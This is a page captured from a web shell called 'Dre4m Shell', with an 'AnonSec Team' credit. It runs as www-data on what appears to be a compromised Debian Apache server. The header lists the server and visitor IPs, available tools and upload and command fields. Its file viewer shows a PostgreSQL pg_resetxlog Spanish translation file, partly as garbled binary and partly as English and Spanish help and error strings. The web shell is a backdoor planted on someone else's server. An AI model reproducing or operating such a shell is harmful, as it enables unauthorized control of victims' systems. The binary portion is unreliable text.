Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.108
Web Server : Apache/2.4.65 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/cwd/proc/3/cwd/usr/share/locale/es/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /proc/3/cwd/proc/3/cwd/usr/share/locale/es/LC_MESSAGES/pg_resetxlog-9.6.mo
��n���P	Q	9k	-�	:�	-
4<
9q
O�
1�
+-OY;�I� /+P"|+��>�!&
,H
+u
'�
)�
6�
#*<N&�-�!�1?4&t!�=�"�(zG�S�#+\O+�0� 	2*@]B�4�G&^-���)�)
)7a)~)�)�)�)&)P)z�V�))B)l,�)�)�))A)k)�)�)�))=)g)�)�)�))9)c)�)�)�))5	_)i��4&K!r)�-���)C)Gq)t��HC_0�E�1ELB�|�FR 9� n� PB!O�!*�!9"&H":o"�"H�"3#7F#0~#/�#/�#@$,P$S}$.�$8%+9%?e%J�%-�%*&MI&1�&2�&��&�']�',�'x*(2�(:�(()?:)Lz)P�)G*C`*-�*;�*%+4+5G+4}+7�+!�+6,5C,4y,4�,5�,5-5O-!�-g�-5.5E.5{.8�.5�.5 /5V/5�/5�/5�/5.05d05�07�0515>15t1)�1)�1)�1)(2)R2)|2)�2)�2)�2
$35/3�e3&-40T4!�45�44�45	!5+5)E5o5){5�56�59UP)AK`ZN-B"@YcV17
hT&a,Q ]g0k=!d?S	M3b^leW'jI(#D
F/5.mHRf8_64G\:%i[nJ+;$C>OEXL2<*

Values to be changed:


If these values seem acceptable, use -f to force reset.

Report bugs to <pgsql-bugs@postgresql.org>.
                   (zero in either value means no change)
  -?, --help       show this help, then exit
  -O OFFSET        set next multitransaction offset
  -V, --version    output version information, then exit
  -c XID,XID       set oldest and newest transactions bearing commit timestamp
  -e XIDEPOCH      set next transaction ID epoch
  -f               force update to be done
  -l XLOGFILE      force minimum WAL starting location for new transaction log
  -m MXID,MXID     set next and oldest multitransaction ID
  -n               no update, just show what would be done (for testing)
  -o OID           set next OID
  -x XID           set next transaction ID
 [-D] DATADIR      data directory
%s resets the PostgreSQL transaction log.

%s: OID (-o) must not be 0
%s: WARNING: cannot create restricted tokens on this platform
%s: cannot be executed by "root"
%s: could not allocate SIDs: error code %lu
%s: could not change directory to "%s": %s
%s: could not close directory "%s": %s
%s: could not create pg_control file: %s
%s: could not create restricted token: error code %lu
%s: could not delete file "%s": %s
%s: could not get exit code from subprocess: error code %lu
%s: could not open directory "%s": %s
%s: could not open file "%s" for reading: %s
%s: could not open file "%s": %s
%s: could not open process token: error code %lu
%s: could not re-execute with restricted token: error code %lu
%s: could not read directory "%s": %s
%s: could not read file "%s": %s
%s: could not start process for command "%s": error code %lu
%s: could not write file "%s": %s
%s: could not write pg_control file: %s
%s: data directory is of wrong version
File "%s" contains "%s", which is not compatible with this program's version "%s".
%s: fsync error: %s
%s: internal error -- sizeof(ControlFileData) is too large ... fix PG_CONTROL_SIZE
%s: invalid argument for option %s
%s: lock file "%s" exists
Is a server running?  If not, delete the lock file and try again.
%s: multitransaction ID (-m) must not be 0
%s: multitransaction offset (-O) must not be -1
%s: no data directory specified
%s: oldest multitransaction ID (-m) must not be 0
%s: pg_control exists but has invalid CRC; proceed with caution
%s: pg_control exists but is broken or wrong version; ignoring it
%s: too many command-line arguments (first is "%s")
%s: transaction ID (-c) must be either 0 or greater than or equal to 2
%s: transaction ID (-x) must not be 0
%s: transaction ID epoch (-e) must not be -1
%s: unexpected empty file "%s"
64-bit integersBlocks per segment of large relation: %u
Bytes per WAL segment:                %u
Catalog version number:               %u
Current pg_control values:

Data page checksum version:           %u
Database block size:                  %u
Database system identifier:           %s
Date/time type storage:               %s
First log segment after reset:        %s
Float4 argument passing:              %s
Float8 argument passing:              %s
Guessed pg_control values:

If you are sure the data directory path is correct, execute
  touch %s
and try again.
Latest checkpoint's NextMultiOffset:  %u
Latest checkpoint's NextMultiXactId:  %u
Latest checkpoint's NextOID:          %u
Latest checkpoint's NextXID:          %u:%u
Latest checkpoint's TimeLineID:       %u
Latest checkpoint's full_page_writes: %s
Latest checkpoint's newestCommitTsXid:%u
Latest checkpoint's oldestActiveXID:  %u
Latest checkpoint's oldestCommitTsXid:%u
Latest checkpoint's oldestMulti's DB: %u
Latest checkpoint's oldestMultiXid:   %u
Latest checkpoint's oldestXID's DB:   %u
Latest checkpoint's oldestXID:        %u
Maximum columns in an index:          %u
Maximum data alignment:               %u
Maximum length of identifiers:        %u
Maximum size of a TOAST chunk:        %u
NextMultiOffset:                      %u
NextMultiXactId:                      %u
NextOID:                              %u
NextXID epoch:                        %u
NextXID:                              %u
OldestMulti's DB:                     %u
OldestMultiXid:                       %u
OldestXID's DB:                       %u
OldestXID:                            %u
Options:
Size of a large-object chunk:         %u
The database server was not shut down cleanly.
Resetting the transaction log might cause data to be lost.
If you want to proceed anyway, use -f to force reset.
Transaction log reset
Try "%s --help" for more information.
Usage:
  %s [OPTION]... DATADIR

WAL block size:                       %u
You must run %s as the PostgreSQL superuser.
by referenceby valuefloating-point numbersnewestCommitTsXid:                    %u
offoldestCommitTsXid:                    %u
onpg_control version number:            %u
Project-Id-Version: pg_resetxlog (PostgreSQL 9.6)
Report-Msgid-Bugs-To: pgsql-bugs@postgresql.org
POT-Creation-Date: 2020-05-15 23:53+0000
PO-Revision-Date: 2017-08-28 11:04+0200
Last-Translator: Carlos Chapi <carlos.chapi@2ndquadrant.com>
Language-Team: Español <pgsql-es-ayuda@postgresql.org>
Language: es
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Poedit 1.8.7


Valores a cambiar:


Si estos valores parecen aceptables, use -f para forzar reinicio.

Reporte errores a <pgsql-bugs@postgresql.org>.
                  (cero en cualquiera de ellos significa no cambiar)
  -?, --help      muestra esta ayuda, luego sale
  -O OFFSET       asigna la siguiente posición de multitransacción
  -V, --version   muestra información de la versión, luego sale
  -c XID,XID      asigna los ID de transacciones más antiguo y más nuevo que llevan
                  timestamp de commit
  -e XIDEPOCH     asigna el siguiente «epoch» de ID de transacción
  -f              fuerza que la actualización sea hecha
  -l XLOGFILE     fuerza una posición mínima de inicio de WAL para una
                  nueva transacción
  -m MXID,MXID    asigna el siguiente ID de multitransacción y el más antiguo
  -n              no actualiza, sólo muestra lo que va a hacer (para pruebas)
  -o OID          asigna el siguiente OID
  -x XID          asigna el siguiente ID de transacción
 [-D] DATADIR     directorio de datos
%s reinicia la bitácora de transacciones de PostgreSQL.

%s: OID (-o) no debe ser cero
%s: ATENCIÓN: no se pueden crear tokens restrigidos en esta plataforma
%s: no puede ser ejecutado con el usuario «root»
%s: no se pudo emplazar los SIDs: código de error %lu
%s: no se pudo cambiar al directorio «%s»: %s
%s: no se pudo cerrar el directorio «%s»: %s
%s: no se pudo crear el archivo pg_control: %s
%s: no se pudo crear el token restringido: código de error %lu
%s: no se pudo borrar el archivo «%s»: %s
%s: no se pudo obtener el código de salida del subproceso»: código de error %lu
%s: no se pudo abrir el directorio «%s»: %s
%s: no se pudo abrir el archivo «%s» para lectura: %s
%s: no se pudo abrir el archivo «%s»: %s
%s: no se pudo abrir el token de proceso: código de error %lu
%s: no se pudo re-ejecutar con el token restringido: código de error %lu
%s: no se pudo leer el directorio «%s»: %s
%s: no se pudo leer el archivo «%s»: %s
%s: no se pudo iniciar el proceso para la orden «%s»: código de error %lu
%s: no se pudo escribir en el archivo «%s»: %s
%s: no se pudo escribir el archivo pg_control: %s
%s: el directorio de datos es de la versión incorrecta
El archivo «%s» contiene «%s», que no es compatible con esta versión «%s».
%s: error de fsync: %s
%s: error interno -- sizeof(ControlFileData) es demasiado grande ... corrija PG_CONTROL_SIZE
%s: argumento no válido para la opción %s
%s: el archivo candado «%s» existe
¿Hay un servidor corriendo? Si no, borre el archivo candado e inténtelo de nuevo
%s: el ID de multitransacción (-m) no debe ser 0
%s: la posición de multitransacción (-O) no debe ser -1
%s: directorio de datos no especificado
%s: el ID de multitransacción más antiguo (-m) no debe ser 0
%s: existe pg_control pero tiene un CRC no válido, proceda con precaución
%s: pg_control existe pero está roto o su versión es incorrecta; ignorándolo
%s: demasiados argumentos de línea de órdenes (el primero es «%s»)
%s: el ID de transacción (-c) debe ser 0 o bien mayor o igual a 2
%s: el ID de transacción (-x) no debe ser 0
%s: el «epoch» de ID de transacción (-e) no debe ser -1
%s: archivo vacío «%s» inesperado
enteros de 64 bitsBloques por segmento de relación grande:         %u
Bytes por segmento WAL:                          %u
Número de versión de catálogo:                   %u
Valores actuales de pg_control:

Versión de suma de verificación de datos:        %u
Tamaño del bloque de la base de datos:           %u
Identificador de sistema:                        %s
Tipo de almacenamiento hora/fecha:               %s
Primer segmento de log después de reiniciar:     %s
Paso de parámetros float4:                       %s
Paso de parámetros float8:                       %s
Valores de pg_control asumidos:

Si está seguro que la ruta al directorio de datos es correcta, ejecute
   touch %s
y pruebe de nuevo.
NextMultiOffset del checkpoint más reciente:     %u
NextMultiXactId del checkpoint más reciente:     %u
NextOID del checkpoint más reciente:             %u
NextXID del checkpoint más reciente:             %u:%u
TimeLineID del checkpoint más reciente:          %u
full_page_writes del checkpoint más reciente:    %s
newestCommitTsXid del último checkpoint:         %u
oldestActiveXID del checkpoint más reciente:     %u
oldestCommitTsXid del último checkpoint:         %u
BD del oldestMultiXid del checkpt. más reciente: %u
oldestMultiXid del checkpoint más reciente:      %u
BD del oldestXID del checkpoint más reciente:    %u
oldestXID del checkpoint más reciente:           %u
Máximo número de columnas en un índice:          %u
Máximo alineamiento de datos:                    %u
Longitud máxima de identificadores:              %u
Longitud máxima de un trozo TOAST:               %u
NextMultiOffset:                      %u
NextMultiXactId:                      %u
NextOID:                              %u
Epoch del NextXID:                    %u
NextXID:                              %u
Base de datos del OldestMulti:        %u
OldestMultiXid:                       %u
Base de datos del OldestXID:          %u
OldestXID:                            %u
Opciones:
Longitud máxima de un trozo de objeto grande:    %u
El servidor de base de datos no fue terminado limpiamente.
Reiniciar la bitácora de transacciones puede causar pérdida de datos.
Si de todas formas quiere proceder, use -f para forzar su reinicio.
Bitácora de transacciones reiniciada
Prueba con «%s --help» para más información
Uso:
   %s [OPCIÓN]... DATADIR

Tamaño del bloque de WAL:                        %u
Debe ejecutar %s con el superusuario de PostgreSQL.
por referenciapor valornúmeros de coma flotantenewestCommitTsXid:                    %u
desactivadooldestCommitTsXid:                    %u
activadoNúmero de versión de pg_control:                 %u

Anon7 - 2022
AnonSec Team